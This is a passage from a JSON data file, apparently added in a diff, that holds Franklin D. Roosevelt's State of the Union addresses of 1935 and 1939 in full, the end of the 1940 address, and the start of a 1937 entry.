message--the continued conservation of our natural\nresources, the improvement of health and of education, the extension of\nsocial security to larger groups, the freeing of large areas from\nrestricted transportation discriminations, the extension of the merit\nsystem and many others.Our continued progress in the social and economic field is important not\nonly for the significance of each part of it but for the total effect which\nour program of domestic betterment has upon that most valuable asset of a\nnation in dangerous times--its national unity.The permanent security of America in the present crisis does not lie in\narmed force alone. What we face is a set of world-wide forces of\ndisintegration--vicious, ruthless, destructive of all the moral, religious\nand political standards which mankind, after centuries of struggle, has\ncome to cherish most.In these moral values, in these forces which have made our nation great, we\nmust actively and practically reassert our faith.These words--\"national unity\"--must not be allowed to be come merely a\nhigh-sounding phrase, a vague generality, a pious hope, to which everyone\ncan give lip-service. They must be made to have real meaning in terms of\nthe daily thoughts and acts of every man, woman and child in our land\nduring the coming year and during the years that lie ahead.For national unity is, in a very real and a very deep sense, the\nfundamental safeguard of all democracy.Doctrines that set group against group, faith against faith, race against\nrace, class against class, fanning the fires of hatred in men too\ndespondent, too desperate to think for themselves, were used as\nrabble-rousing slogans on which dictators could ride to power. And once in\npower they could saddle their tyrannies on whole nations and on their\nweaker neighbors.This is the danger to which we in America must begin to be more alert. For\nthe apologists for foreign aggressors, and equally those selfish and\npartisan groups at home who wrap themselves in a false mantle of\nAmericanism to promote their own economic, financial or political\nadvantage, are now trying European tricks upon us, seeking to muddy the\nstream of our national thinking, weakening us in the face of danger, by\ntrying to set our own people to fighting among themselves. Such tactics are\nwhat have helped to plunge Europe into war. We must combat them, as we\nwould the plague, if American integrity and American security are to be\npreserved. We cannot afford to face the future as a disunited people.We must as a united people keep ablaze on this continent the flames of\nhuman liberty, of reason, of democracy and of fair play as living things to\nbe preserved for the better world that is to come.Overstatement, bitterness, vituperation, and the beating of drums have\ncontributed mightily to ill-feeling and wars between nations. If these\nunnecessary and unpleasant actions are harmful in the international field,\nif they have hurt in other parts of the world, they are also harmful in the\ndomestic scene. Peace among ourselves would seem to have some of the\nadvantage of peace between us and other nations. In the long run history\namply demonstrates that angry controversy surely wins less than calm\ndiscussion.In the spirit, therefore, of a greater unselfishness, recognizing that the\nworld--including the United States of America--passes through perilous\ntimes, I am very hopeful that the closing session of the Seventy-sixth\nCongress will consider the needs of the nation and of humanity with\ncalmness, with tolerance and with cooperative wisdom.May the year 1940 be pointed to by our children as another period when\ndemocracy justified its existence as the best instrument of government yet\ndevised by mankind.", 
+    "name": "Franklin D. Roosevelt"
+}
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+{
+    "date": "January 4, 1935", 
+    "speech": "Mr. President, Mr. Speaker, Members of the Senate and of the House of\nRepresentatives:The Constitution wisely provides that the Chief Executive shall report to\nthe Congress on the state of the Union, for through you, the chosen\nlegislative representatives, our citizens everywhere may fairly judge the\nprogress of our governing. I am confident that today, in the light of the\nevents of the past two years, you do not consider it merely a trite phrase\nwhen I tell you that I am truly glad to greet you and that I look forward\nto common counsel, to useful cooperation, and to genuine friendships\nbetween us.We have undertaken a new order of things; yet we progress to it under the\nframework and in the spirit and intent of the American Constitution. We\nhave proceeded throughout the Nation a measurable distance on the road\ntoward this new order. Materially, I can report to you substantial benefits\nto our agricultural population, increased industrial activity, and profits\nto our merchants. Of equal moment, there is evident a restoration of that\nspirit of confidence and faith which marks the American character. Let him,\nwho, for speculative profit or partisan purpose, without just warrant would\nseek to disturb or dispel this assurance, take heed before he assumes\nresponsibility for any act which slows our onward steps.Throughout the world, change is the order of the day. In every Nation\neconomic problems, long in the making, have brought crises of many kinds\nfor which the masters of old practice and theory were unprepared. In most\nNations social justice, no longer a distant ideal, has become a definite\ngoal, and ancient Governments are beginning to heed the call.Thus, the American people do not stand alone in the world in their desire\nfor change. We seek it through tested liberal traditions, through processes\nwhich retain all of the deep essentials of that republican form of\nrepresentative government first given to a troubled world by the United\nStates.As the various parts in the program begun in the Extraordinary Session of\nthe 73rd Congress shape themselves in practical administration, the unity\nof our program reveals itself to the Nation. The outlines of the new\neconomic order, rising from the disintegration of the old, are apparent. We\ntest what we have done as our measures take root in the living texture of\nlife. We see where we have built wisely and where we can do still better.The attempt to make a distinction between recovery and reform is a narrowly\nconceived effort to substitute the appearance of reality for reality\nitself. When a man is convalescing from illness, wisdom dictates not only\ncure of the symptoms, but also removal of their cause.It is important to recognize that while we seek to outlaw specific abuses,\nthe American objective of today has an infinitely deeper, finer and more\nlasting purpose than mere repression. Thinking people in almost every\ncountry of the world have come to realize certain fundamental difficulties\nwith which civilization must reckon. Rapid changes--the machine age, the\nadvent of universal and rapid communication and many other new factors--have\nbrought new problems. Succeeding generations have attempted to keep pace by\nreforming in piecemeal fashion this or that attendant abuse. As a result,\nevils overlap and reform becomes confused and frustrated. We lose sight,\nfrom time to time, of our ultimate human objectives.Let us, for a moment, strip from our simple purpose the confusion that\nresults from a multiplicity of detail and from millions of written and\nspoken words.We find our population suffering from old inequalities, little changed by\nvast sporadic remedies. In spite of our efforts and in spite of our talk,\nwe have not weeded out the over privileged and we have not effectively\nlifted up the underprivileged. Both of these manifestations of injustice\nhave retarded happiness. No wise man has any intention of destroying what\nis known as the profit motive; because by the profit motive we mean the\nright by work to earn a decent livelihood for ourselves and for our\nfamilies.We have, however, a clear mandate from the people, that Americans must\nforswear that conception of the acquisition of wealth which, through\nexcessive profits, creates undue private power over private affairs and, to\nour misfortune, over public affairs as well. In building toward this end we\ndo not destroy ambition, nor do we seek to divide our wealth into equal\nshares on stated occasions. We continue to recognize the greater ability of\nsome to earn more than others. But we do assert that the ambition of the\nindividual to obtain for him and his a proper security, a reasonable\nleisure, and a decent living throughout life, is an ambition to be\npreferred to the appetite for great wealth and great power.I recall to your attention my message to the Congress last June in which I\nsaid: \"among our objectives I place the security of the men, women and\nchildren of the Nation first.\" That remains our first and continuing task;\nand in a very real sense every major legislative enactment of this Congress\nshould be a component part of it.In defining immediate factors which enter into our quest, I have spoken to\nthe Congress and the people of three great divisions:1. The security of a livelihood through the better use of the national\nresources of the land in which we live.2. The security against the major hazards and vicissitudes of life.3. The security of decent homes.I am now ready to submit to the Congress a broad program designed\nultimately to establish all three of these factors of security--a program\nwhich because of many lost years will take many future years to fulfill.A study of our national resources, more comprehensive than any previously\nmade, shows the vast amount of necessary and practicable work which needs\nto be done for the development and preservation of our natural wealth for\nthe enjoyment and advantage of our people in generations to come. The sound\nuse of land and water is far more comprehensive than the mere planting of\ntrees, building of dams, distributing of electricity or retirement of\nsub-marginal land. It recognizes that stranded populations, either in the\ncountry or the city, cannot have security under the conditions that now\nsurround them.To this end we are ready to begin to meet this problem--the intelligent care\nof population throughout our Nation, in accordance with an intelligent\ndistribution of the means of livelihood for that population. A definite\nprogram for putting people to work, of which I shall speak in a moment, is\na component part of this greater program of security of livelihood through\nthe better use of our national resources.Closely related to the broad problem of livelihood is that of security\nagainst the major hazards of life. Here also, a comprehensive survey of\nwhat has been attempted or accomplished in many Nations and in many States\nproves to me that the time has come for action by the national Government.\nI shall send to you, in a few days, definite recommendations based on these\nstudies. These recommendations will cover the broad subjects of\nunemployment insurance and old age insurance, of benefits for children,\nform others, for the handicapped, for maternity care and for other aspects\nof dependency and illness where a beginning can now be made.The third factor--better homes for our people--has also been the subject of\nexperimentation and study. Here, too, the first practical steps can be made\nthrough the proposals which I shall suggest in relation to giving work to\nthe unemployed.Whatever we plan and whatever we do should be in the light of these three\nclear objectives of security. We cannot afford to lose valuable time in\nhaphazard public policies which cannot find a place in the broad outlines\nof these major purposes. In that spirit I come to an immediate issue made\nfor us by hard and inescapable circumstance--the task of putting people to\nwork. In the spring of 1933 the issue of destitution seemed to stand apart;\ntoday, in the light of our experience and our new national policy, we find\nwe can put people to work in ways which conform to, initiate and carry\nforward the broad principles of that policy.The first objectives of emergency legislation of 1933 were to relieve\ndestitution, to make it possible for industry to operate in a more rational\nand orderly fashion, and to put behind industrial recovery the impulse of\nlarge expenditures in Government undertakings. The purpose of the National\nIndustrial Recovery Act to provide work for more people succeeded in a\nsubstantial manner within the first few months of its life, and the Act has\ncontinued to maintain employment gains and greatly improved working\nconditions in industry.The program of public works provided for in the Recovery Act launched the\nFederal Government into a task for which there was little time to make\npreparation and little American experience to follow. Great employment has\nbeen given and is being given by these works.More than two billions of dollars have also been expended in direct relief\nto the destitute. Local agencies of necessity determined the recipients of\nthis form of relief. With inevitable exceptions the funds were spent by\nthem with reasonable efficiency and as a result actual want of food and\nclothing in the great majority of cases has been overcome.But the stark fact before us is that great numbers still remain\nunemployed.A large proportion of these unemployed and their dependents have been\nforced on the relief rolls. The burden on the Federal Government has grown\nwith great rapidity. We have here a human as well as an economic problem.\nWhen humane considerations are concerned, Americans give them precedence.\nThe lessons of history, confirmed by the evidence immediately before me,\nshow conclusively that continued dependence upon relief induces a spiritual\nand moral disintegration fundamentally destructive to the national fibre.\nTo dole out relief in this way is to administer a narcotic, a subtle\ndestroyer of the human spirit. It is inimical to the dictates of sound\npolicy. It is in violation of the traditions of America. Work must be found\nfor able-bodied but destitute workers.The Federal Government must and shall quit this business of relief.I am not willing that the vitality of our people be further sapped by the\ngiving of cash, of market baskets, of a few hours of weekly work cutting\ngrass, raking leaves or picking up .papers in the public parks. We must\npreserve not only the bodies of the unemployed from destitution but also\ntheir self-respect, their self-reliance and courage and determination. This\ndecision brings me to the problem of what the Government should do with\napproximately five million unemployed now on the relief rolls.About one million and a half of these belong to the group which in the past\nwas dependent upon local welfare efforts. Most of them are unable for one\nreason or another to maintain themselves independently--for the most part,\nthrough no fault of their own. Such people, in the days before the great\ndepression, were cared for by local efforts--by States, by counties, by\ntowns, by cities, by churches and by private welfare agencies. It is my\nthought that in the future they must be cared for as they were before. I\nstand ready through my own personal efforts, and through the public\ninfluence of the office that I hold, to help these local agencies to get\nthe means necessary to assume this burden.The security legislation which I shall propose to the Congress will, I am\nconfident, be of assistance to local effort in the care of this type of\ncases. Local responsibility can and will be resumed, for, after all, common\nsense tells us that the wealth necessary for this task existed and still\nexists in the local community, and the dictates of sound administration\nrequire that this responsibility be in the first instance a local one.\nThere are, however, an additional three and one half million employable\npeople who are on relief. With them the problem is different and the\nresponsibility is different. This group was the victim of a nation-wide\ndepression caused by conditions which were not local but national. The\nFederal Government is the only governmental agency with sufficient power\nand credit to meet this situation. We have assumed this task and we shall\nnot shrink from it in the future. It is a duty dictated by every\nintelligent consideration of national policy to ask you to make it possible\nfor the United States to give employment to all of these three and one half\nmillion employable people now on relief, pending their absorption in a\nrising tide of private employment.It is my thought that with the exception of certain of the normal public\nbuilding operations of the Government, all emergency public works shall be\nunited in a single new and greatly enlarged plan.With the establishment of this new system we can supersede the Federal\nEmergency Relief Administration with a coordinated authority which will be\ncharged with the orderly liquidation of our present relief activities and\nthe substitution of a national chart for the giving of work.This new program of emergency public employment should be governed by a\nnumber of practical principles.(1) All work undertaken should be useful--not just for a day, or a year,\nbut useful in the sense that it affords permanent improvement in living\nconditions or that it creates future new wealth for the Nation.(2) Compensation on emergency public projects should be in the form of\nsecurity payments which should be larger than the amount now received as a\nrelief dole, but at the same time not so large as to encourage the\nrejection of opportunities for private employment or the leaving of private\nemployment to engage in Government work.(3) Projects should be undertaken on which a large percentage of direct\nlabor can be used.(4) Preference should be given to those projects which will be\nself-liquidating in the sense that there is a reasonable expectation that\nthe Government will get its money back at some future time.(5) The projects undertaken should be selected and planned so as to compete\nas little as possible with private enterprises. This suggests that if it\nwere not for the necessity of giving useful work to the unemployed now on\nrelief, these projects in most instances would not now be undertaken.(6) The planning of projects would seek to assure work during the coming\nfiscal year to the individuals now on relief, or until such time as private\nemployment is available. In order to make adjustment to increasing private\nemployment, work should be planned with a view to tapering it off in\nproportion to the speed with which the emergency workers are offered\npositions with private employers.(7) Effort should be made to locate projects where they will serve the\ngreatest unemployment needs as shown by present relief rolls, and the broad\nprogram of the National Resources Board should be freely used for guidance\nin selection. Our ultimate objective being the enrichment of human lives,\nthe Government has the primary duty to use its emergency expenditures as\nmuch as possible to serve those who cannot secure the advantages of private\ncapital.Ever since the adjournment of the 73d Congress, the Administration has been\nstudying from every angle the possibility and the practicability of new\nforms of employment. As a result of these studies I have arrived at certain\nvery definite convictions as to the amount of money that will be necessary\nfor the sort of public projects that I have described. I shall submit these\nfigures in my budget message. I assure you now they will be within the\nsound credit of the Government.The work itself will cover a wide field including clearance of slums, which\nfor adequate reasons cannot be undertaken by private capital; in rural\nhousing of several kinds, where, again, private capital is unable to\nfunction; in rural electrification; in the reforestation of the great\nwatersheds of the Nation; in an intensified program to prevent soil erosion\nand to reclaim blighted areas; in improving existing road systems and in\nconstructing national highways designed to handle modern traffic; in the\nelimination of grade crossings; in the extension and enlargement of the\nsuccessful work of the Civilian Conservation Corps; in non-Federal works,\nmostly self-liquidating and highly useful to local divisions of Government;\nand on many other projects which the Nation needs and cannot afford to\nneglect.This is the method which I propose to you in order that we may better meet\nthis present-day problem of unemployment. Its greatest advantage is that it\nfits logically and usefully into the long-range permanent policy of\nproviding the three types of security which constitute as a whole an\nAmerican plan for the betterment of the future of the American people.I shall consult with you from time to time concerning other measures of\nnational importance. Among the subjects that lie immediately before us are\nthe consolidation of Federal regulatory administration over all forms of\ntransportation, the renewal and clarification of the general purposes of\nthe National Industrial Recovery Act, the strengthening of our facilities\nfor the prevention, detection and treatment of crime and criminals, the\nrestoration of sound conditions in the public utilities field through\nabolition of the evil features of holding companies, the gradual tapering\noff of the emergency credit activities of Government, and improvement in\nour taxation forms and methods.We have already begun to feel the bracing effect upon our economic system\nof a restored agriculture. The hundreds of millions of additional income\nthat farmers are receiving are finding their way into the channels of\ntrade. The farmers' share of the national income is slowly rising. The\neconomic facts justify the widespread opinion of those engaged in\nagriculture that our provisions for maintaining a balanced production give\nat this time the most adequate remedy for an old and vexing problem. For\nthe present, and especially in view of abnormal world conditions,\nagricultural adjustment with certain necessary improvements in methods\nshould continue.It seems appropriate to call attention at this time to the fine spirit\nshown during the past year by our public servants. I cannot praise too\nhighly the cheerful work of the Civil Service employees, and of those\ntemporarily working for the Government. As for those thousands in our\nvarious public agencies spread throughout the country who, without\ncompensation, agreed to take over heavy responsibilities in connection with\nour various loan agencies and particularly in direct relief work, I cannot\nsay too much. I do not think any country could show a higher average of\ncheerful and even enthusiastic team-work than has been shown by these men\nand women.I cannot with candor tell you that general international relationships\noutside the borders of the United States are improved. On the surface of\nthings many old jealousies are resurrected, old passions aroused; new\nstrivings for armament and power, in more than one land, rear their ugly\nheads. I hope that calm counsel and constructive leadership will provide\nthe steadying influence and the time necessary for the coming of new and\nmore practical forms of representative government throughout the world\nwherein privilege and power will occupy a lesser place and world welfare a\ngreater.I believe, however, that our own peaceful and neighborly attitude toward\nother Nations is coming to be understood and appreciated. The maintenance\nof international peace is a matter in which we are deeply and unselfishly\nconcerned. Evidence of our persistent and undeniable desire to prevent\narmed conflict has recently been more than once afforded.There is no ground for apprehension that our relations with any Nation will\nbe otherwise than peaceful. Nor is there ground for doubt that the people\nof most Nations seek relief from the threat and burden attaching to the\nfalse theory that extravagant armament cannot be reduced and limited by\ninternational accord.The ledger of the past year shows many more gains than losses. Let us not\nforget that, in addition to saving millions from utter destitution, child\nlabor has been for the moment outlawed, thousands of homes saved to their\nowners and most important of all, the morale of the Nation has been\nrestored. Viewing the year 1934 as a whole, you and I can agree that we\nhave a generous measure of reasons for giving thanks.It is not empty optimism that moves me to a strong hope in the coming year.\nWe can, if we will, make 1935 a genuine period of good feeling, sustained\nby a sense of purposeful progress. Beyond the material recovery, I sense a\nspiritual recovery as well. The people of America are turning as never\nbefore to those permanent values that are not limited to the physical\nobjectives of life. There are growing signs of this on every hand. In the\nface of these spiritual impulses we are sensible of the Divine Providence\nto which Nations turn now, as always, for guidance and fostering care.", 
+    "name": "Franklin D. Roosevelt"
+}
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+{
+    "date": "January 4, 1939", 
+    "speech": "Mr. Vice President, Mr. Speaker, Members of the Senate and the Congress:In Reporting on the state of the nation, I have felt it necessary on\nprevious occasions to advise the Congress of disturbance abroad and of the\nneed of putting our own house in order in the face of storm signals from\nacross the seas. As this Seventy-sixth Congress opens there is need for\nfurther warning.A war which threatened to envelop the world in flames has been averted; but\nit has become increasingly clear that world peace is not assured.All about us rage undeclared wars--military and economic. All about us grow\nmore deadly armaments--military and economic. All about us are threats of\nnew aggression military and economic.Storms from abroad directly challenge three institutions indispensable to\nAmericans, now as always. The first is religion. It is the source of the\nother two--democracy and international good faith.Religion, by teaching man his relationship to God, gives the individual a\nsense of his own dignity and teaches him to respect himself by respecting\nhis neighbors.Democracy, the practice of self-government, is a covenant among free men to\nrespect the rights and liberties of their fellows.International good faith, a sister of democracy, springs from the will of\ncivilized nations of men to respect the rights and liberties of other\nnations of men.In a modern civilization, all three--religion, democracy and international\ngood faith--complement and support each other.Where freedom of religion has been attacked, the attack has come from\nsources opposed to democracy. Where democracy has been overthrown, the\nspirit of free worship has disappeared. And where religion and democracy\nhave vanished, good faith and reason in international affairs have given\nway to strident ambition and brute force.An ordering of society which relegates religion, democracy and good faith\namong nations to the background can find no place within it for the ideals\nof the Prince of Peace. The United States rejects such an ordering, and\nretains its ancient faith.There comes a time in the affairs of men when they must prepare to defend,\nnot their homes alone, but the tenets of faith and humanity on which their\nchurches, their governments and their very civilization are founded. The\ndefense of religion, of democracy and of good faith among nations is all\nthe same fight. To save one we must now make up our minds to save all.We know what might happen to us of the United States if the new\nphilosophies of force were to encompass the other continents and invade our\nown. We, no more than other nations, can afford to be surrounded by the\nenemies of our faith and our humanity. Fortunate it is, therefore, that in\nthis Western Hemisphere we have, under a common ideal of democratic\ngovernment, a rich diversity of resources and of peoples functioning\ntogether in mutual respect and peace.That Hemisphere, that peace, and that ideal we propose to do our share in\nprotecting against storms from any quarter. Our people and our resources\nare pledged to secure that protection. From that determination no American\nflinches.This by no means implies that the American Republics disassociate\nthemselves from the nations of other continents. It does not mean the\nAmericas against the rest of the world. We as one of the Republics\nreiterate our willingness to help the cause of world peace. We stand on our\nhistoric offer to take counsel with all other nations of the world to the\nend that aggression among them be terminated, that the race of armaments\ncease and that commerce be renewed.But the world has grown so small and weapons of attack so swift that no\nnation can be safe in its will to peace so long as any other powerful\nnation refuses to settle its grievances at the council table.For if any government bristling with implements of war insists on policies\nof force, weapons of defense give the only safety.In our foreign relations we have learned from the past what not to do. From\nnew wars we have learned what we must do.We have learned that effective timing of defense, and the distant points\nfrom which attacks may be launched are completely different from what they\nwere twenty years ago.We have learned that survival cannot be guaranteed by arming after the\nattack begins--for there is new range and speed to offense.We have learned that long before any overt military act, aggression begins\nwith preliminaries of propaganda, subsidized penetration, the loosening of\nties of good will, the stirring of prejudice and the incitement to\ndisunion.We have learned that God-fearing democracies of the world which observe the\nsanctity of treaties and good faith in their dealings with other nations\ncannot safely be indifferent to international lawlessness anywhere. They\ncannot forever let pass, without effective protest, acts of aggression\nagainst sister nations--acts which automatically undermine all of us.Obviously they must proceed along practical, peaceful lines. But the mere\nfact that we rightly decline to intervene with arms to prevent acts of\naggression does not mean that we must act as if there were no aggression at\nall. Words may be futile, but war is not the only means of commanding a\ndecent respect for the opinions of mankind. There are many methods short of\nwar, but stronger and more effective than mere words, of bringing home to\naggressor governments the aggregate sentiments of our own people.At the very least, we can and should avoid any action, or any lack of\naction, which will encourage, assist or build up an aggressor. We have\nlearned that when we deliberately try to legislate neutrality, our\nneutrality laws may operate unevenly and unfairly--may actually give aid to\nan aggressor and deny it to the victim. The instinct of self-preservation\nshould warn us that we ought not to let that happen any more.And we have learned something else--the old, old lesson that probability of\nattack is mightily decreased by the assurance of an ever ready defense.\nSince 1931, nearly eight years ago, world events of thunderous import have\nmoved with lightning speed. During these eight years many of our people\nclung to the hope that the innate decency of mankind would protect the\nunprepared who showed their innate trust in mankind. Today we are all\nwiser--and sadder.Under modern conditions what we mean by \"adequate defense\"--a policy\nsubscribed to by all of us--must be divided into three elements. First, we\nmust have armed forces and defenses strong enough to ward off sudden attack\nagainst strategic positions and key facilities essential to ensure\nsustained resistance and ultimate victory. Secondly, we must have the\norganization and location of those key facilities so that they may be\nimmediately utilized and rapidly expanded to meet all needs without danger\nof serious interruption by enemy attack.In the course of a few days I shall send you a special message making\nrecommendations for those two essentials of defense against danger which we\ncannot safely assume will not come.If these first two essentials are reasonably provided for, we must be able\nconfidently to invoke the third element, the underlying strength of\ncitizenship--the self-confidence, the ability, the imagination and the\ndevotion that give the staying power to see things through.A strong and united nation may be destroyed if it is unprepared against\nsudden attack. But even a nation well armed and well organized from a\nstrictly military standpoint may, after a period of time, meet defeat if it\nis unnerved by self-distrust, endangered by class prejudice, by dissension\nbetween capital and labor, by false economy and by other unsolved social\nproblems at home.In meeting the troubles of the world we must meet them as one people--with a\nunity born of the fact that for generations those who have come to our\nshores, representing many kindreds and tongues, have been welded by common\nopportunity into a united patriotism. If another form of government can\npresent a united front in its attack on a democracy, the attack must and\nwill be met by a united democracy. Such a democracy can and must exist in\nthe United States.A dictatorship may command the full strength of a regimented nation. But\nthe united strength of a democratic nation can be mustered only when its\npeople, educated by modern standards to know what is going on and where\nthey are going, have conviction that they are receiving as large a share of\nopportunity for development, as large a share of material success and of\nhuman dignity, as they have a right to receive.Our nation's program of social and economic reform is therefore a part of\ndefense, as basic as armaments themselves.Against the background of events in Europe, in Africa and in Asia during\nthese recent years, the pattern of what we have accomplished since 1933\nappears in even clearer focus.For the first time we have moved upon deep-seated problems affecting our\nnational strength and have forged national instruments adequate to meet\nthem.Consider what the seemingly piecemeal struggles of these six years add up\nto in terms of realistic national preparedness.We are conserving and developing natural resources--land, water power,\nforests.We are trying to provide necessary food, shelter and medical care for the\nhealth of our population.We are putting agriculture--our system of food and fibre supply--on a\nsounder basis.We are strengthening the weakest spot in our system of industrial supply--\nits long smouldering labor difficulties.We have cleaned up our credit system so that depositor and investor alike\nmay more readily and willingly make their capital available for peace or\nwar.We are giving to our youth new opportunities for work and education.We have sustained the morale of all the population by the dignified\nrecognition of our obligations to the aged, the helpless and the needy.Above all, we have made the American people conscious of their\ninterrelationship and their interdependence. They sense a common destiny\nand a common need of each other. Differences of occupation, geography, race\nand religion no longer obscure the nation's fundamental unity in thought\nand in action.We have our difficulties, true--but we are a wiser and a tougher nation than\nwe were in 1929, or in 1932.Never have there been six years of such far-flung internal preparedness in\nour history. And this has been done without any dictator's power to\ncommand, without conscription of labor or confiscation of capital, without\nconcentration camps and without a scratch on freedom of speech, freedom of\nthe press or the rest of the Bill of Rights.We see things now that we could not see along the way. The tools of\ngovernment which we had in 1933 are outmoded. We have had to forge new\ntools for a new role of government operating in a democracy--a role of new\nresponsibility for new needs and increased responsibility for old needs,\nlong neglected.Some of these tools had to be roughly shaped and still need some machining\ndown. Many of those who fought bitterly against the forging of these new\ntools welcome their use today. The American people, as a whole, have\naccepted them. The Nation looks to the Congress to improve the new\nmachinery which we have permanently installed, provided that in the process\nthe social usefulness of the machinery is not destroyed or impaired.All of us agree that we should simplify and improve laws if experience and\noperation clearly demonstrate the need. For instance, all of us want better\nprovision for our older people under our social security legislation. For\nthe medically needy we must provide better care.Most of us agree that for the sake of employer and employee alike we must\nfind ways to end factional labor strife and employer-employee disputes.Most of us recognize that none of these tools can be put to maximum\neffectiveness unless the executive processes of government are\nrevamped--reorganized, if you will--into more effective combination. And\neven after such reorganization it will take time to develop administrative\npersonnel and experience in order to use our new tools with a minimum of\nmistakes. The Congress, of course, needs no further information on this.With this exception of legislation to provide greater government\nefficiency, and with the exception of legislation to ameliorate our\nrailroad and other transportation problems, the past three Congresses have\nmet in part or in whole the pressing needs of the new order of things.We have now passed the period of internal conflict in the launching of our\nprogram of social reform. Our full energies may now be released to\ninvigorate the processes of recovery in order to preserve our reforms, and\nto give every man and woman who wants to work a real job at a living wage.But time is of paramount importance. The deadline of danger from within and\nfrom without is not within our control. The hour-glass may be in the hands\nof other nations. Our own hour-glass tells us that we are off on a race to\nmake democracy work, so that we may be efficient in peace and therefore\nsecure in national defense.This time element forces us to still greater efforts to attain the full\nemployment of our labor and our capital.The first duty of our statesmanship is to bring capital and man-power\ntogether.Dictatorships do this by main force. By using main force they apparently\nsucceed at it--for the moment. However we abhor their methods, we are\ncompelled to admit that they have obtained substantial utilization of all\ntheir material and human resources. Like it or not, they have solved, for a\ntime at least, the problem of idle men and idle capital. Can we compete\nwith them by boldly seeking methods of putting idle men and idle capital\ntogether and, at the same time, remain within our American way of life,\nwithin the Bill of Rights, and within the bounds of what is, from our point\nof view, civilization itself?We suffer from a great unemployment of capital. Many people have the idea\nthat as a nation we are overburdened with debt and are spending more than\nwe can afford. That is not so. Despite our Federal Government expenditures\nthe entire debt of our national economic system, public and private\ntogether, is no larger today than it was in 1929, and the interest thereon\nis far less than it was in 1929.The object is to put capital--private as well as public--to work.We want to get enough capital and labor at work to give us a total turnover\nof business, a total national income, of at least eighty billion dollars a\nyear. At that figure we shall have a substantial reduction of unemployment;\nand the Federal Revenues will be sufficient to balance the current level of\ncash expenditures on the basis of the existing tax structure. That figure\ncan be attained, working within the framework of our traditional profit\nsystem.The factors in attaining and maintaining that amount of national income are\nmany and complicated.They include more widespread understanding among business men of many\nchanges which world conditions and technological improvements have brought\nto our economy over the last twenty years--changes in the interrelationship\nof price and volume and employment, for example--changes of the kind in\nwhich business men are now educating themselves through excellent\nopportunities like the so-called \"monopoly investigation.\"They include a perfecting of our farm program to protect farmers' income\nand consumers' purchasing power from alternate risks of crop gluts and crop\nshortages.They include wholehearted acceptance of new standards of honesty in our\nfinancial markets.They include reconcilement of enormous, antagonistic interests--some of them\nlong in litigation--in the railroad and general transportation field.They include the working out of new techniques--private, state and\nfederal--to protect the public interest in and to develop wider markets for\nelectric power.They include a revamping of the tax relationships between federal, state\nand local units of government, and consideration of relatively small tax\nincreases to adjust inequalities without interfering with the aggregate\nincome of the American people.They include the perfecting of labor organization and a universal\nungrudging attitude by employers toward the labor movement, until there is\na minimum of interruption of production and employment because of disputes,\nand acceptance by labor of the truth that the welfare of labor itself\ndepends on increased balanced out-put of goods.To be immediately practical, while proceeding with a steady evolution in\nthe solving of these and like problems, we must wisely use\ninstrumentalities, like Federal investment, which are immediately available\nto us.Here, as elsewhere, time is the deciding factor in our choice of remedies.Therefore, it does not seem logical to me, at the moment we seek to\nincrease production and consumption, for the Federal Government to consider\na drastic curtailment of its own investments.The whole subject of government investing and government income is one\nwhich may be approached in two different ways.The first calls for the elimination of enough activities of government to\nbring the expenses of government immediately into balance with income of\ngovernment. This school of thought maintains that because our national\nincome this year is only sixty billion dollars, ours is only a sixty\nbillion dollar country; that government must treat it as such; and that\nwithout the help of government, it may some day, somehow, happen to become\nan eighty billion dollar country.If the Congress decides to accept this point of view, it will logically\nhave to reduce the present functions or activities of government by\none-third. Not only will the Congress have to accept the responsibility for\nsuch reduction; but the Congress will have to determine which activities\nare to be reduced.Certain expenditures we cannot possibly reduce at this session, such as the\ninterest on the public debt. A few million dollars saved here or there in\nthe normal or in curtailed work of the old departments and commissions will\nmake no great saving in the Federal budget. Therefore, the Congress would\nhave to reduce drastically some of certain large items, very large items,\nsuch as aids to agriculture and soil conservation, veterans' pensions,\nflood control, highways, waterways and other public works, grants for\nsocial and health security, Civilian Conservation Corps activities, relief\nfor the unemployed, or national defense itself.The Congress alone has the power to do all this, as it is the appropriating\nbranch of the government.The other approach to the question of government spending takes the\nposition that this Nation ought not to be and need not be only a sixty\nbillion dollar nation; that at this moment it has the men and the resources\nsufficient to make it at least an eighty billion dollar nation. This school\nof thought does not believe that it can become an eighty billion dollar\nnation in the near future if government cuts its operations by one-third.\nIt is convinced that if we were to try it, we would invite disaster--and\nthat we would not long remain even a sixty billion dollar nation. There are\nmany complicated factors with which we have to deal, but we have learned\nthat it is unsafe to make abrupt reductions at any time in our net\nexpenditure program.By our common sense action of resuming government activities last spring,\nwe have reversed a recession and started the new rising tide of prosperity\nand national income which we are now just beginning to enjoy.If government activities are fully maintained, there is a good prospect of\nour becoming an eighty billion dollar country in a very short time. With\nsuch a national income, present tax laws will yield enough each year to\nbalance each year's expenses.It is my conviction that down in their hearts the American public--industry,\nagriculture, finance--want this Congress to do whatever needs to be done to\nraise our national income to eighty billion dollars a year.Investing soundly must preclude spending wastefully. To guard against\nopportunist appropriations, I have on several occasions addressed the\nCongress on the importance of permanent long-range planning. I hope,\ntherefore, that following my recommendation of last year, a permanent\nagency will be set up and authorized to report on the urgency and\ndesirability of the various types of government investment.Investment for prosperity can be made in a democracy.I hear some people say, \"This is all so complicated. There are certain\nadvantages in a dictatorship. It gets rid of labor trouble, of\nunemployment, of wasted motion and of having to do your own thinking.\"My answer is, \"Yes, but it also gets rid of some other things which we\nAmericans intend very definitely to keep--and we still intend to do our own\nthinking.\"It will cost us taxes and the voluntary risk of capital to attain some of\nthe practical advantages which other forms of government have acquired.Dictatorship, however, involves costs which the American people will never\npay: The cost of our spiritual values. The cost of the blessed right of\nbeing able to say what we please. The cost of freedom of religion. The cost\nof seeing our capital confiscated. The cost of being cast into a\nconcentration camp. The cost of being afraid to walk down the street with\nthe wrong neighbor. The cost of having our children brought up, not as free\nand dignified human beings, but as pawns molded and enslaved by a machine.If the avoidance of these costs means taxes on my income; if avoiding these\ncosts means taxes on my estate at death, I would bear those taxes willingly\nas the price of my breathing and my children breathing the free air of a\nfree country, as the price of a living and not a dead world.Events abroad have made it increasingly clear to the American people that\ndangers within are less to be feared than dangers from without. If,\ntherefore, a solution of this problem of idle men and idle capital is the\nprice of preserving our liberty, no formless selfish fears can stand in the\nway.Once I prophesied that this generation of Americans had a rendezvous with\ndestiny. That prophecy comes true. To us much is given; more is expected.This generation will \"nobly save or meanly lose the last best hope of\nearth. . . . The way is plain, peaceful, generous, just--a way which if\nfollowed the world will forever applaud and God must forever bless.\"", 
+    "name": "Franklin D. Roosevelt"
+}
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+{
+    "date": "January 6, 1937", 
